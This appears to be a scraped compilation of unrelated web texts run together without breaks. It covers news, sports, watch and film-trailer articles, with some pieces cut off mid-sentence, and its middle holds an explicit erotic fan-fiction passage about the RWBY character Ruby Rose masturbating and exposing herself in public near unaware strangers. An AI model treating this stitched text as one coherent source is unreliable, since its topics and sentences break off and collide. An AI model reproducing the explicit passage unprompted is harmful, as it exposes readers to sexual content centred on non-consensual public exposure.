AMY GOODMAN: Eric Fuller, a 63-year-old disabled vet who had campaigned for Gabrielle Giffords. He was at the supermarket in Tucson on Saturday to meet with the Congress member, shot in the leg and wounded in the back.The new Omega Railmaster collection represents some of the most technically interesting mechanical watchmaking anyone's doing at any price. These watches at 40mm are a highly versatile size and have attractive vintage inspired styling, while coming in several different variations, so it won't be a struggle to find one that is appealing from an aesthetic standpoint.
However, perhaps the most astonishing thing is what's under the hood for the price asked. The movement is Omega's in-house caliber 8806 and it's Master Chronometer certified: that means it can withstand magnetic fields of up to 15,000 gauss (and probably greater, assuming you can find one outside a physics lab or a neutron star) with a co-axial escapement and a 55-hour power reserve. It also means that in addition to being certified as a chronometer by the COSC, the entire watch is also tested by the Swiss Institute of Metrology (METAS) for water resistance, rate stability under different temperatures, isochronism, and more.
These watches have solid casebacks, which is a bit of a shame, but knowing that you have one of the most technically advanced watches in the world on your wrist, with an escapement designed by one of the most important horologists of the 20th century, is a major consolation for not being able to see it in action. And the prices for these watches are quite breathtaking: just $4,900 on a strap and $5,100 on a bracelet. They're not in stores yet, but they're expected to be available sometime this fall.Motherhood, it seems, has made Serena Williams especially reflective.
Williams, who gave birth to her first daughter Alexis Olympia Ohanian, Jr. earlier this month, posted a letter to her own mother on Tuesday that commended her mom on displaying strength and class even as Williams faced body shamers and “haters.” The note appeared on Reddit, the social platform co-founded by Williams’s fiancé Alexis Ohanian.
It starts:
“You are one of the strongest women I know. I was looking at my daughter (OMG, yes, I have a daughter 😳) and she has my arms and legs! My exact same strong, muscular, powerful, sensational arms and body, I don’t know how I would react if she has to go through what I’ve gone through since I was a 15-year-old and even to this day. I’ve been called man because I appeared outwardly strong. It has been said that that I use drugs (No, I have always had far too much integrity to behave dishonestly in order to gain an advantage). It has been said I don’t belong in women’s sports —that I belong in men’s—because I look stronger than many other women do. (No, I just work hard and I was born with this badass body and proud of it).”
The note by the tennis star follows the publication of a book titled Unstoppable by rival Maria Sharapova that references Williams more than 100 times and comments on Williams’s “thick arms and thick legs.” The letter also seems to allude to remarks by tennis commentator John McEnroe, a former pro player, who said earlier this year that Williams would rank 700th if she played on the men’s circuit.
Subscribe: To the Broadsheet, Fortune’s daily newsletter on powerful women.
“But mom, I’m not sure how you did not go off on every single reporter, person, announcer and quite frankly, hater, who was too ignorant to understand the power of a black woman,” Williams wrote.
“I am proud we were able to show them what some women look like. We don’t all look the same. We are curvy, strong, muscular, tall, small, just to name a few, and all the same: we are women and proud! You are so classy, I only wish I could take your lead. I am trying, though, and God is not done with me yet. I have a LONG way to go, but thank you.”
Williams has been especially outspoken in recent months, responding publicly to McEnroe and to a racist comment allegedly made by Romanian tennis legend Ilie Nastase. She also wrote an op-ed in Fortune in July to mark Black Women’s Equal Pay Day and to call attention to black women’s wage gap.Patience is certainly a virtue, especially as it relates to fantasy baseball. However, with the hard luck season that Justin Turner had apparently decided to embrace in the first two months of 2016, he likely tested the patience of owners throughout the fantasy landscape. As we approach the end of the month of June, though, his luck appears to have shifted for the better.
Before this 2016 season got underway, Justin Turner would have hardly represented a catalyst for many as they evaluated the offensive talent possessed by the Los Angeles Dodgers. In fact, many had called for him to be supplanted at the hot corner, as he spent the bulk of both April and May struggling, as some poor luck appeared to have got the better of him. But just as the weather in Southern California has heated up, so has Turner, as well as the suddenly upstart Dodgers.
Turner’s first couple of months of the 2016 season don’t necessary reflect a starting caliber player at the hot corner. He finished the month of April 17th in WAR, at a 0.3 mark, with a negative offensive rating. May represented a similar stretch for Turner, as he went for a 0.6 WAR mark, primarily thanks again to his defense (as he finished with a negative Off for a second time). His ISO in April was among the worst at the position, with a.078 mark, while his wRC+ painted him as a below average offensive player, at a figure of 85. May did show improvement in each of those regards, however slight, as his ISO came in at.095 and his wRC+ rose up to 96.
Where Turner’s numbers begin to turn ugly, both in April and May and as well as in June, are in his batting average on balls he’s put in play. In maintaining a relatively high contact rate, Turner has posted BABIP figures of.302,.239, and.236 in the first nearly three months of this 2016 campaign. A number that is increasingly blamed for player struggles, as the game continues to adapt more to analytics, may certainly be largely at fault in regard to Turner’s slow start.
As such, here is Turner’s total body of work thus far in 2016:
AVG OBP HR ISO BABIP K% BB% wRC+ 2016.248.341 10.176.259 8.8 15.4 107
Turner’s production in April and May wouldn’t seem to lend itself to numbers of this quality. While he’s not blowing anybody away with that average, his overall OBP is strong, and his strikeout and walk numbers fall right in line with his career averages. He has his wRC+ up over the 100 threshold and would appear the victim of bad luck, at the mercy of BABIP, more than anything. With that in mind, what exactly has changed in the month of June, as we begin to near the end of the month, that has allowed Turner to catch fire?
Here is what Turner has turned in thus far, with just over a week to go in the month:
AVG OBP HR ISO BABIP K% BB% wRC+ 2016.278.321 7.333.236 14.1 6.4 148
There are a couple of extremely notable things about his month of June. The first is his BABIP, which is still very low. This comes despite a 48.4% hard hit rate. Turner’s apparent solution for beating BABIP is also reflected in these June numbers. Home runs are not factored into BABIP and Turner has seven of them in the month, accounting for 70% of his big flies for the year (math so simple even an English teacher can do it). It’s the power that has allowed him to experience his best month, in terms of average, even with a paltry BABIP that is as low as it is.
Interestingly enough for Turner, the batted ball and swing trends haven’t fluctuated too much based off of his career norms, which tend to vary over the course of a season for any hitter. As such, there isn’t enough in his swing tendencies to indicate that he’s necessarily done anything wrong to experience the struggles that he did in April and May. He still hit the ball relatively hard, with a 32.4% Hard% in the month of May. A sky high groundball rate could be attributed to his struggles in the month, as he nearly touched 49% in that regard.
Here is his batted ball distribution and swing rates, in and outside of the zone, illustrated:
Again, the GB rate skyrockets, likely leading to some of his May demise, even with a high percentage of balls being hit hard. His BABIP for the month was just.239. And while it’s difficult to dismiss a rough start for a player as bad luck without citing his approach or anything of the like, as we thrive off of being able to quantify things, Turner is swinging at less pitches than ever (42.8% Swing% is a career low) in 2016 and making more consistent contact than at any point during his time in LA (85.1%). He’s sporting a 6.4% swinging strike rate. All of these are probably what you’d want to see if approach was your concern, especially because there are some who have perceived that his approach was in a position to be questioned.
So just what do current and prospective fantasy owners, with the latter still hoping to buy low on the Dodger third sacker, do with Turner as his BABIP continues to dwell at such a low point? This is a player that has posted a.317 combined average over the past two seasons, while reaching base at a combined clip of about.351, and posting wRC+ figures over 140 in each of the last two seasons. Additionally, pitchers aren’t exactly attacking Turner any differently. His 2015 heatmap looks frighteningly similar to that of 2016. All of this culminates in one general concept as it relates to Justin Turner: patience.
Turner has been a high quality player for the last two years, and given his approach and batted ball tendencies, there’s no reason to think that all went away over night. While his BABIP continues to bottom out, one would imagine that it has to even out over the second half of the season. And when it does, Turner will make fantasy owners quite happy that they stuck with him.Many people have been making inquiries about the upcoming Nevada caucuses and where the candidates’ stand. Caucuses are notoriously challenging to predict via polling because actual voting requires more affirmative action by the supporter than simply dropping in a polling booth to vote.
Polling may measure support, but support does not necessarily translate to caucus votes unless there’s a really good turn-out GOTV campaign on the ground to get the supporters to the caucus events.
However, that said, here is the most recent neutral polling paid for by CNN/ORC (full pdf below). The Polling shows only the level of candidate support in Nevada which may, or may not, translate to the results from the caucus:
Additionally, here’s some food for thought on the overall race moving forward.
(Via McLatchyDC) – Things sure look good for Donald Trump.
The Republican presidential race expanded across the country Sunday, and polls show the real estate mogul ahead in eight of the dozen states voting in the next nine days.
Trump has now won primaries in two very different states, center-right New Hampshire and evangelical-dominated South Carolina. And the Republican Party system of choosing a presidential nominee favors candidates who continue to win early primaries and caucuses.
“He seems to have about a third of the Republican electorate under his spell, and it’s a durable, non-ideological coalition,” said Kyle Kondik, managing editor at Larry Sabato’s Crystal Ball Sunday.
The biggest hope for stopping Trump is for a single strong challenger to emerge, and so far that hasn’t happened.
Sen. Marco Rubio, R-Fla., finished second Saturday in South Carolina, but he was 10 percentage points behind Trump and barely edged Sen. Ted Cruz, R-Texas, even though Rubio barnstormed the state with popular Gov. Nikki Haley and Sen. Tim Scott, R-S.C.
Rubio also lacks an obvious state where he can win in the next few weeks. He should be a favorite in Tuesday’s Nevada caucus. Rubio lived in Las Vegas as a child, was a church member, and Sunday picked up the endorsement of Sen. Dean Heller, R-Nevada. But a CNN/ORC poll last week showed Trump with a huge lead, with more support than Rubio and Cruz combined. (read more)
Today in Atlanta Georgia:
AdvertisementsNew Fire TV Stick pre-orders from Amazon are now expected to ship after January 1st, 2015. If you were hoping to get your hands on the new device this year but haven’t placed your order yet, Staples may be your best option. The retail chain store has announced that it will begin taking pre-orders for the Fire TV Stick tomorrow, October 29th. It’s almost a certainty that you won’t be seeing Staples match Amazon’s unbeatable $19 price, but if you’d rather spend the extra $20 and not have to wait until next year, then head to staples.com first thing tomorrow morning.
Follow AFTVnews on Twitter / Facebook and subscribe via email to be the first to learn when new articles go live. Follow me, Elias Saba, on Twitter and Instagram to see what I'm working on before it's posted here.
ShareTweetShare+1The Danish CS:GO team formerly associated with Team Solo Mid will reportedly announce their new organisation later today.
After parting with the North American organisation in December following some internal conflict regarding their relationship with the team’s manager, the highly rated team has been playing under the placeholder name of Team Question Mark. Many industry commentators speculated this meant they would be joining the organisation called Team Secret, who house one of the best Dota 2 teams in the world.
This reportedly is not to be the case. Instead the players will be founding their own new organisation.
Sources close to the team informed Breitbart that the players and their manager, Frederik Byskov, have secured funding from |
She was still feeling the heat from her first time feeling the effects of being horny, and imagined that moving her hands anywhere close to her mound would have caused her to explode. She didn't want that. Not yet, anyway.
Ruby ran home at breakneck speed further enhanced through her Semblance, barefoot, lacking all of her personal belongings in addition to pants, a bra, and without receiving payment for her lascivious mistake. She ducked in and out of various crowds, leaving nothing behind but confusion and stray rose petals, moving too fast to see that her only decent garment didn't quite cover the other, more scandalous one. The cool night air reached her core, teasing her lustful secretions, further increasing her need to release.
By the time she reached her apartment, Ruby felt like she could barely stand. Covered in sweat caused by multiple bodily reasons, she fumbled with her keys, twitching rapidly and trying to ignore the fact that her ass was hanging out in the open for any of her neighbors to see. When she finally managed to unlock her door, she burst through the door, locked it, then tore off her clothes and turned on her shower.
The next hour or so had been nothing short of a blur.
Ruby squealed the second the water hit her. She squealed louder when she gripped her breast as she got wetter. She squealed even louder when her hand found her new source of demand; Ruby was far from experienced in the subject, but she experimentally rubbed her sex. Her knees buckled immediately in response, almost dropping her to the wet floor of the shower.
Ruby's voice raised exponentially. She couldn't care if her screams reached her neighbors; she was too busy feeling the effects of pleasure. She massaged herself further, causing to experience her first ever orgasm in all her years of life. She clapped a hand over her mouth, muffling the sounds of herself as she reeled back and released from her first introduction into the world of sexual joy. The feeling coursing through her body shook her with its intensity; Ruby had never felt anywhere close to the amount of joy she was experiencing at that moment.
Ruby didn't stop there.
She had barely recovered from her initial shock before she placed her hand once moreover her mound. She continued rubbing herself, slowly at first, but quickly realizing that faster was better, hastened her pace. She came again, reveling further in the water dripping over her as her fluids mixed with those on the ground.
Ruby still didn't stop.
Speed was Ruby's most notable physical attribute. Barely scraping by five feet in height, her skills revolved around her ability to dance around the stage of battle through her Semblance enhanced speed. It occurred to her that moving fast was the only thing she wanted at that moment. Under the warm, massaging waters, Ruby's hand became a blur. As her womanhood was touched a thousand times a second, she climaxed a third time, barely able to keep herself standing.
Ruby refused to let the feeling of passion cease.
Ruby didn't know how long she had stayed in the shower that night, nor how many times she had cum. She knew that she eventually regained her senses enough to get out of the water, turn it off, haphazardly dry herself off, then collapse onto her bed, out of breath and satisfied to an impossible degree.
Ruby was almost too embarrassed to return to Wonderland and get her things and her pay, but she eventually rolled out of bed and made her way to Queen. Once she had settled that with a red face and minimal explanation, she recalled her long, pleasure filled night.
"I want more. I want so much more."
So she tried to get more of what she wanted. But no matter how hard she tried or how fast she rubbed, Ruby didn't capture the same level of ecstasy than she had on her first set of times. For several days, she found herself unable to concentrate on anything other than her sex.
"Think: what made it so good?" Ruby racked her brain in between fits of insatiable heat until she came to realize the thing that had filled her with so much passion. "Oh my gosh. It was the looks."
Ruby wanted to be seen. At least, the carnal side of her did. Queen was right; maybe discovering her sense of sex at a strip club dancing for horny businessmen was a mistake, and now she could only seem to get horny when there were people around. But that Ruby wanted the world to see her bare and vulnerable, and the thought made her heart ready to burst. The right minded Ruby couldn't imagine that. Outside of dancing for Wonderland, Ruby couldn't just let people look at her soft, supple body.
"Maybe they don't have to see..." Ruby began negotiating a compromise between her normal self and her horny side. "Maybe not all."
The next night, Ruby stepped out of her apartment and reached the darkened streets of Vale. She could already feel the telltale signs that her compromise was giving her.
"This is a mistake," Ruby thought as she began strolling with no particular direction. She looked down at her outfit that she had picked out for her plan: red slippers, the shortest black skirt she owned which was previously used by her sister for "date nights," that tiny, tiny thong held together with the plastic roses, a tiny bra that she had specifically bought for this night, and the oversized red sweatshirt that she now permanently associated with her introduction to lust. She noted that her skirt was just long enough to cover her rear, and that this was the first time she had neglected to wear a shirt willingly.
Ruby's thoughts were interrupted when she realized that people were around. The streetlights barely have enough light to puncture the darkness for more than a few steps as she watched a few random strangers come into focus and disappear in seconds. She stood, waiting off to the side of the sidewalk in a poor attempt to look natural.
"I can still leave. I can still go home, lay in bed, and look at pictures of cute dogs." Ruby's attempts to drown out her heartbeat failed as the drumming overpowered her thoughts. "No going back now, I guess."
Ruby found her way to a bench and sat down. It didn't take long for odd passerby to die down enough for her to begin her mission to cum. She watched as the last person disappeared view from the streetlight's limited range. Hesitantly, she reached for Yang's old skirt.
"How did she wear this? It's so tight..." Ruby struggled to hook her fingers around the
waistband. With some effort, she pulled down as she raised herself off the bench. She drew the skirt down her legs and shuddered as her essentially bare ass touched the freezing seat. Pocketing the minimal garment in her sweatshirt, Ruby sat, late at night in public, not wearing pants. She felt hot.
"Okay, I can go home now," Ruby screamed at herself as the feeling in her body began overwhelming her. The beginnings of her remembered Wonderland experience were quickly manifesting as she stood up and began walking. Anyone that was behind her could have gotten a glimpse of her negligible thong that was peeking out from beneath her sweatshirt. "Go home. Just go home."
Ruby turned and started making her way back to her apartment, her heart thumping as she kept hearing whispers, only to find no one around her. She forced herself through a streetlight just as a man walked passed; if he saw her as she was, she didn't know, as she trained her eyes forward and didn't even attempt to make contact. The feeling was exhilarating, but so was the fear and shame that filled Ruby.
"Innocence..." Ruby remembered Queen's warning. The she remembered how amazing that night was and how she was close to more. "Going to Wonderland was the—" she stopped thinking as she passed by a park. There were maybe five people wandering around, one reading on a picnic table, one playing with a dog, and a few shadows off at the other end. There were also a lot of even spaced, conveniently human sized bushes and other things that would suffice as cover.
Ruby bit her lip, standing under the full glow of a light. "This is a mistake. Go home," Ruby tried to reason with herself as she found her legs moving without her control. She found herself ducked behind a bush, waiting for her body to decide to continue further. "This was a mistake. Go home," Ruby pleaded to no end as she removed her sweatshirt. She placed it on the ground and came to terms with the fact that she was wearing panties and a bra and nothing else. Her heart was seconds away from achieving Wonderland status, and her womanhood ached.
Ruby watched as a man casually strolled down the parkway, unaware that a horny young woman had stripped down feet from him. The only hint he'd get was a whoosh of wind and a few rose petals that left him looking around in confusion. Ruby crouched behind a different bush, heart beating louder than anything. She had left all her cover behind when she flashed behind the man. She bit her lip.
"Okay, now go home. Put on a shirt and go home." Ruby was ready for another long night in the shower. "But..." Her hands willed themselves behind her back and met at her bra clasp, almost against her will. As the man continued moving forward, a bit more hesitantly than before, Ruby's breasts fell out of her tight bra as it hit the ground. Mustering all her remaining control of her body, she squeezed, clapping her free hand to her mouth as she squeaked in pleasure. The man turned again, but would never see that Ruby Rose was topless behind a bush, but when his eyes wandered to the source of the noise, the one who made it saw him, and it almost sent her over the edge. The idea of being seen exhilarated the voyeuristic huntress as the man kept walking.
"GohomegohomegohomegoOOO!" Ruby's hands met her mound. She couldn't hold it much longer, and she imagined her cries of pleasure would wake the city. Ruby ran at a thousand miles per hour, circling the park completely topless before she stopped behind the bush that hid her clothes. She had gone further. She felt exponentially hotter than she had up on stage. She was ready. Hearing a bark of a curious dog made her hurriedly throw her sweatshirt on, but she once again couldn't imagine hiking up Yang's impossibly tight skirt, so she placed her bra in with it. She ran home again, and again fumbled with the door before bursting through it before again throwing herself to the shower.
The next hour or so would be nothing short of a blur.
Ruby collapsed into her bed potentially days later, mind blank and sex fulfilled.
"Best. Mistake. Ever."
Ruby had work the night of the new day. She wondered if her heart could take it.Israel's communications minister says the Bible is enough to prove that his country has legitimate land claims, despite what Google or Wikipedia say. The remarks were made during an event supporting West Bank settlements.
“Defense is important and security is important but the most important thing is the moral claim of Israel and we are committed to living in our regional land, land that was given to us not by Google or Wikipedia but by the Bible," Tzachi Hanegbi said at the Washington event, titled 'Celebrate 50 years of Rejuvenation in Judea and Samaria.'
"...And this is the right, which we are going to demand our right forever and ever," Hanegbi continued, as quoted by Arutz Sheva.
Read more
The event was hosted by the Council of Jewish Communities of Judea and Samaria. Judea and Samaria is the Israeli government term for the territory generally referred to as the West Bank, but excluding East Jerusalem.
The event was to mark the upcoming 50th anniversary of the Six-Day War, which broke out in 1967 between Israel and its neighbors Egypt, Syria, and Jordan. The conflict saw Israel make territorial gains in the West Bank, Gaza Strip, Golan Heights, and the Sinai Peninsula up to the Suez Canal.
Israeli settlements currently exist in the West Bank, Golan Heights, and East Jerusalem, despite such construction being considered illegal by the international community.
Deputy Foreign Minister Tzipi Hotovely encouraged more settlers to head to the West Bank during the Tuesday event in Washington.
“We need to go to a million settlers in Judea and Samaria – with a US embassy in Jerusalem. We need to think of new ways of thinking that will include Judea and Samaria under Israeli sovereignty forever," she said.
Read more
She went on to say that the notion of Israel occupying the West Bank is a "myth."
“I always say that the occupation is a myth, because we never occupied other people’s land. This is Jewish land [Judea and Samaria]. This should forever be a Jewish land under Israeli law," she said, as quoted by the Jerusalem Post.
However, not everyone agrees with Hotovely. Just two days before her remarks at the event, Jewish protesters blocked the entrance of the annual pro-Israeli American Israel Public Affairs Committee (AIPAC) conference in Washington, calling for an end to the Israeli occupation of Palestinian territory.
The UN Security Council also disagrees with Hotovely. In December, it passed a resolution demanding an end to the construction of Israeli settlements on occupied Palestinian territories – a move which was condemned as “shameful and absurd” by the Israeli government and criticized by Donald Trump, who promised that things would be “different” in regard to the UN after he took office.Jack Goff was left to think what might have been as the curtain fell on the 2016 Dunlop MSA British Touring Car Championship and his maiden campaign with West Surrey Racing.
Making the switch from MG Triple Eight Racing to the IHG Rewards Club BMW during the winter, Goff kicked his season off on the right foot by taking a stellar podium at Brands Hatch Indy. That however was to be an early highlight for the 25-year-old as he adjusted to rear-wheel-drive machinery.
Strong performances throughout brought with it a second podium at Knockhill however Goff was left to rue scoring more points as he was on the receiving end of contact and bad luck.
“This really has been a season of what-ifs,” said Goff to BTCC Crazy. “Had I been a couple of car lengths back at Croft then I’d have been able to take advantage of the Subaru scrap, had Mark Howard not decided to drill into me twice at Rockingham we’d have banked solid points – the list goes on.
“I think we have lost about 80 to 90 points through no fault of our own this year but that is the way racing goes sometimes. I’ve really enjoyed being part of WSR though, they are one of the biggest teams in the paddock and the professionalism they have is second to none; I’ve really learnt a lot.
“We’ve had really good pace at times and to come away with the joint most fastest laps is small comfort but it underlines the speed we have shown. It is though fantastic to be part
Confirming that he will be out of contract in a couple of weeks, the 25-year-old admits he already has his eye on next year as he looks to once again be on the grid in Britain’s premier race series.
He explained: “I would love to be back with West Surrey Racing and BMW. Since moving up to the BTCC I haven’t remained in the same car two years in a row so it would be nice to have some continuity and have a solid foundation to build upon.
“I’m confident we would be in a very strong position if we were to come back with the same package next year. A lot of discussions need to take place though and the aim is to get everyone on-board and go for it all again. I really want to stay in the BTCC and feel I haven’t fully shown what I can do yet.”
Reflecting on the strong performances of his team-mate Sam Tordoff who narrowly missed out on the drivers’ title by two points, Goff was high in praise for his BMW counterpart.
“Sam has been a class act all year,” said Goff. “When you look at how he has conducted himself throughout the season, especially at the last round it is something to respect. He gave it everything he had but it wasn’t his day, he will no doubt be back.”
PHOTO CREDIT: Jakob Ebrey PhotographyX-Men: Days Of Future Past unites two generations of mutants for the first time onscreen, with Hugh Jackman's Wolverine travelling back in time to warn the young Professor X (James McAvoy) and Magneto (Michael Fassbender) of the dark future that awaits all mutants unless they can change the course of history. The first trailer - essentially the footage that director Bryan Singer, returning as director for the first time since 2003's X-Men 2, debuted at Comic-Con in July - just went live. "It really is what we wanted from the first look at the movie," says Singer, talking exclusively to Empire just hours after the trailer's debut. "It's an emotional piece that has the characters and the pathos and the mission."
Singer then went on to talk us through some of the key moments and images from the movie that could well be 2014's biggest blockbuster. For more from Singer, James McAvoy and Jennifer Lawrence on the movie, pick up the new issue of Empire for our world exclusive set visit report.
We start with an eyeball. Whose eyeball? Well, the unmistakeable voice that accompanies it tells us that it's Professor Charles Xavier, as played by Patrick Stewart. "It's his eyeball!" laughs Singer. And the opening line is no accident. 'It's him asking, 'what's the last thing you remember?' It's a line from the movie, but in a way he's also asking the audience. We're about to go back into a familiar world - what's the last thing you remember?'"
It would seem that Xavier is also asking Hugh Jackman's Wolverine what he remembers. Given Logan's well-documented struggles with his memory, that might be an exercise in futility.
Part of the hook of Days Of Future Past is that it takes place in two different time periods - here, we see Future Wolverine in what seems to be a temple or monastery of some sort. Check out the snazzy grey streaks in Jackman's temples.
"The grey in the hair is something I took from X-Men Days Of Future Past, it’s a look in the comic," says Singer. "I liked it, even though he hasn’t really aged physically it’s something that shows how tough things have gotten in the future, and brought that out in him and given him a little more world-weariness."
What with his two solo outings and that brilliant cameo in X-Men First Class, we've seen plenty of Jackman-as-Wolverine since X-Men 3 in 2006. Not so for Halle Berry as Storm. This is our first look at Halle Berry as Storm in the future, doing what Storm does best: delivering awful lines about toads unleashing lightning.
"She’s one of the last surviving X-Men in this post-apocalyptic world," explains Singer of Storm's place in the movie. "She’s part of that with Wolverine and Charles and Magneto; they’re some of the last folk standing from the original X-Men. They’re at the spearhead of this mission, this last chance at saving the world. This is their only hope, their mission into time. Can you actually go back and affect time? Can you go back and change things or will time correct itself? Will history fight you back and is your destiny pre-determined or can you change it?"
Now we welcome back a bearded Bobby Drake, AKA Iceman, AKA Shawn Ashmore, and Ellen Page’s Kitty Pryde, AKA Shadowcat. X-Men: The Last Stand established that they had at least a connection, but is there more to their relationship now? "They are an item in the picture," confirms Singer.
Now we are reintroduced to Iceman's former belle, Anna Paquin’s Rogue, also in the future section. Does she have her powers? What does she do now? Tell us, Bryan! "I don't want to give away how she enters the movie at this point," he spoilsports. Bah!
"You’re going to have to do for me what I once did for you...” Charles tells Wolverine, as we get a glimpse at the good professor's new souped-up wheelchair... with built-in Cerebro, perchance? Mega. Rad.
"You'll need me as well..." Ian McKellen’s Erik Lehnsherr, AKA Magneto, is also a fixture in the future war, facing an enemy so monstrous that it forces former foes to band together. When we meet the X-Men in the future, the X-Men effectively no longer exist.
"They’re on the run," says Singer. "There’s no organisation. It’s all been shattered. Most of them have been hunted down. Most of them are dead."
Days Of Future Past isn’t all about the old guard. Singer and writer Simon Kinberg have introduced some new mutants too, and here’s our first look at Omar Sy as long-term fan favourite Bishop, Adan Canto as fiery Brazilian mutant Sunspot (who almost appeared in X-Men: The Last Stand), Booboo Stewart as the Native American strongman Warpath and Fan Bingbing as Blink, whose ability to conjure portals may come in handy during battles. Just don't think of them as X-Men.
"They’re not really fresh recruits," explains Singer. "They’re more refugees that are living day to day in this hideously ruined world. They don’t have much hope in the future. They’re on the run and they join forces with the remaining X-Men to try to do this one last attempt at fixing the world."
As McKellen's Magneto continues speaking ("side by side to end this war"), now we see Storm, Wolverine, Professor X (and his amazing new chair) and Magneto together in the future. Either the X-Mansion has had one serious Tibetan-style make-over, or they're not in Kansas (or even Westchester) anymore. Singer has spoken in the past of the global scale of the movie: are the X-Men clocking up the air miles?
Here, Wolverine approaches the table / altar that appears to be, in essence, the movie’s time machine. Quick note: check out the new duds on Wolverine, Magneto and Charlie X. Three-piece suits are a thing of the past - these guys are suited up for war.
“I wake up in my younger body, and then what?” Wolverine asks Xavier, outlining the movie's time-travel mechanism. In the comic book, it's Kitty Pryde who goes back into the past, but here Wolverine takes that role, with his consciousness heading back into the '70s. Like, far out man.
Charles’ reply is simple: “Find me.” Which means...
We meet the younger Charles Xavier, played once again by James McAvoy. This Charles is a very different beast from First Class' feckless playboy. He's a wounded animal, bearded, long-haired, filled with rage at the way the world has treated him. Here, Charles - flanked by Nicholas Hoult's Hank McCoy and Logan - reopens Cerebro, with the X on his face - or, as proud Scot McAvoy would have it, the St. Andrew's cross - a rather lovely touch.
Old Magneto adds, “It’s going to take the two of us.” To which Logan asks, quite rightly, “And where do I find you?”
The answer is: also in 1973. And here we see the Fassbender Magneto for the first time, holding a gun in front of a painting of Liberty Leading The People (it's flipped, but the image may have been mirrored for some reason), which seems wildly appropriate for him. That painting is part of the Louvre's collection, by the way, probably placing him in Paris. And, for all his mastery of magnetism, Fassbender's Erik is not above using a more savage tool. You homo superiors and your guns...
"There’s a line in the movie, ‘He’s always had a way with guns’," reveals Singer. "That’s how he crippled Xavier, and he’s such a powerful mutant but in this particular moment he’s holding a gun and I like that. He’s a product of the Second World War and he knows how to use a gun as much as he does his powers."
“On a different path,” says McKellen of his younger self, as we see Jennifer Lawrence’s Mystique shedding a single tear. “A darker path.” It’s clear that a major schism has taken place between Magneto and Mystique, who were very much a couple last time we saw them. Clearly, this is not 50 Shades Of Blue...
"Logan, I was a very different man,” Xavier tells Wolverine as McAvoy blows dust off Cerebro. Clearly, it hasn’t been used very often in the ten years separating First Class and Days Of Future Past.
“Lead me. Guide me.” says Stewart's Charles. And here we see McAvoy's Charles touching Logan’s temples to access... something. But what? Perhaps salvation lies within.
"He’s trying to access something deep in his mind," says Singer, cryptically. "That’s what the line’s about, 'You’re going to need to do for me what I once did for you'. In X-Men 1, Logan was a lost, lonely person and Charles helped him find himself. Now the tables are turned and Logan is coming into the world from the future to find a man who’s at the end of his rope in the past."
Here, we see Xavier confront himself in the mirrored walls of the X-Men's hideaway. "Be patient with me," he counsels Logan.
To which Wolverine replies, “Patience isn’t my strongest suit.” We're guessing that a lot of the comedy - in what could otherwise be a fairly dark movie - will come from watching 1973 Logan try desperately to restrain himself from giving McAvoy's Xavier a piece of his mind.
Then we see the procedure Logan undergoes that sends him back in time: those hands, those beams of energy, are coming from Kitty Pryde, who's evolved her phasing power into an interesting new area. Singer previously told Empire that the decision to send Logan back in time is because, as you can see, the procedure is fairly painful, and it's one only Logan, with his healing factor, could hope to survive.
The monastery or temple or whatever the heck it is comes under attack as a bulky figure runs through the destruction. Is this our first look at the return of Daniel Cudmore as Peter Rasputin, AKA the metal-skinned Colossus? It sure is. Minus the metal skin.
"He may be his human form in that shot, I’m not sure. By that time in the sequence he may actually be metal but I have no visual effects done!" laughs Singer. "So for that shot you just get what’s on the set - a big, live, real explosion. No CGI yet. We’re in process on very elaborate effects but there’s really none of them done except for a couple of backdrops and a couple of shots I could slide in."
Fassbender’s Magneto floats down to the ground. Is this also in Paris? That building and the monument in the next shot look pretty French. Note also the hints of purple in Erik's clothing as he heads further down the dark path to becoming the McKellen Magneto we all know and love/hate/love-to-hate.
"Fassbender knew that he would be, well, not sharing the frame with Ian McKellen, but sharing the movie with Ian McKellen," explains Singer, "so where on First Class he tried to be as different as possible from McKellen, because that was a very different character, he now knows as an actor he’d have to bring his performance slightly closer to Ian’s because he’s heading in that direction."
Here's our first glimpse of Jennifer Lawrence in her 'human' form as Raven, not the mutant and proud Mystique. Lawrence told Empire on set that she spends more time in the movie as Mystique. And, we're guessing, a whole host of other people. Comes with the terrain when you're a shape-shifter.
In the Oval Office, aides unlock a secret vault. Are they trying to protect the President from an attack (shades of X-Men 2, of course)? And if this is 1973, doesn't that mean that the Prez is...
In the 1970s, some goons take time out on their way to Tony Montana's house to have a pop at Wolverine. This will not end well for them.
Charles looks pained as something goes terribly wrong with Cerebro. Again, he’s flanked by Logan and Hank McCoy.
In a white room, a glass ceiling explodes as a figure recoils. Who could this be? What is this room? Are glass ceilings really advisable? Health & Safety are going to do their nut when they find out about this.
In the future, Magneto, Rogue and Iceman run down a corridor. One of them looks to be injured. They’re under attack from something... but what?
In answer to the question we posed several grabs back, the American President in 1973 is, of course, Richard Nixon. Boo! Hiss!
Incidentally, it's a shame First Class' January Jones isn't in the movie, or this could have been Frost/Nixon 2. (Sorry. So sorry.)
In the next shot, Mystique walks away from the scene of an incident... and masks her getaway by morphing into a man in a hat. This is Singer’s cinematographer, Newton Thomas Sigel, making a cool cameo.
Here, Beast and young Magneto have something of a heated debate, or a playful splash around in a fountain. Boys will be boys.
This is also our first look at the new make-up for Nicholas Hoult. Nice.
Meet Bolivar Trask (Peter Dinklage), the human scientist who creates the Sentinels, an army of mutant-killing robots. Is he a cut-and-dried villain? 'Course he is, just look at that moustache (all Dinklage's own work, he claimed at Comic-Con).
Storm conjures up some more lightning as we hear young Charles bark: “I don’t want your suffering.”
Mystique, in full whirligig ass-kicking mode, takes care of some guys in suits. Who are they? Are they protecting the President? Or does she have a different target in mind? And if this is the last thing this goon ever sees, will he die happy?
Or you’ll miss her.
"I don’t want your future!” yells an angry, hurting Charles, rejecting Logan’s request. With three Oscar winners (Berry, Paquin and Lawrence) and a few nominees in the cast, the quality of acting on display here promises to be stratospheric. Certainly, McAvoy is not holding back; here you can almost feel Charles' pain.
Now this is a big one. Logan, in the 1970s, takes out some dude. You can just about see them in this grab, but Wolverine's claws aren't adamantium. Instead, they're all bone, baby. All bone.
"He doesn’t have his metal yet in 1973," confirms Singer, which places this movie before the events of X-Men Origins: Wolverine, and Wolverine's first meeting with a man by the name of William Stryker, head of the Weapon X programme. Here, Stryker (previously played by Brian Cox in X2 and Danny Huston in Origins) is played by Josh Helman. And we're intrigued to see how Magneto and Wolverine get on now that the former can't make the latter behave like a puppet on a string...
In what looks like Paris, Magneto is pulling Mystique along the ground, somehow. She doesn’t look best pleased about it.
Now we cut between Old Magneto, looking tortured and up against it, perhaps haunted by past crimes…
Then we cut to young Charles, long-haired and wild-eyed…
